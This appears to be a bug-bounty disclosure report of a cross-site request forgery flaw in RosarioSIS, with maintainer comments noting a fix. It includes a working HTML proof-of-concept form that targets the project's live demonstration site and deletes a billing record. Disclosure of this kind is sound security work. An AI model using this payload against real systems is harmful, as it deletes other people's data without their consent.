Cross-Site Request Forgery (CSRF) in francoisjacquet/rosariosis

Valid

Reported on

Jul 28th 2021

✍️ Description

When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks.

But Firefox and Safari ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.

In Firefox and safari and chrome I can delete any bill With CSRF.

🕵️‍♂️ Proof of Concept

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.rosariosis.org/demonstration/Modules.php?modname=Student_Billing/StudentPayments.php&modfunc=remove&id=1" method="POST">
      <input type="hidden" name="delete&#95;ok" value="OK" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Here you should run PoC.html, after click on button you can see an bill with id equals to 1 have been deleted.

💥 Impact

This vulnerability is capable of delete any bill.

Occurrences

index.php L1

Z-Old

commented 2 years ago

Admin

Hey amammad, I've reached out to the rosariosis team. Waiting to hear back.

We have contacted a member of the francoisjacquet/rosariosis team and are waiting to hear back 2 years ago

A francoisjacquet/rosariosis maintainer marked this as fixed with commit f95bd0 2 years ago

The fix bounty has been dropped

This vulnerability will not receive a CVE

to join this conversation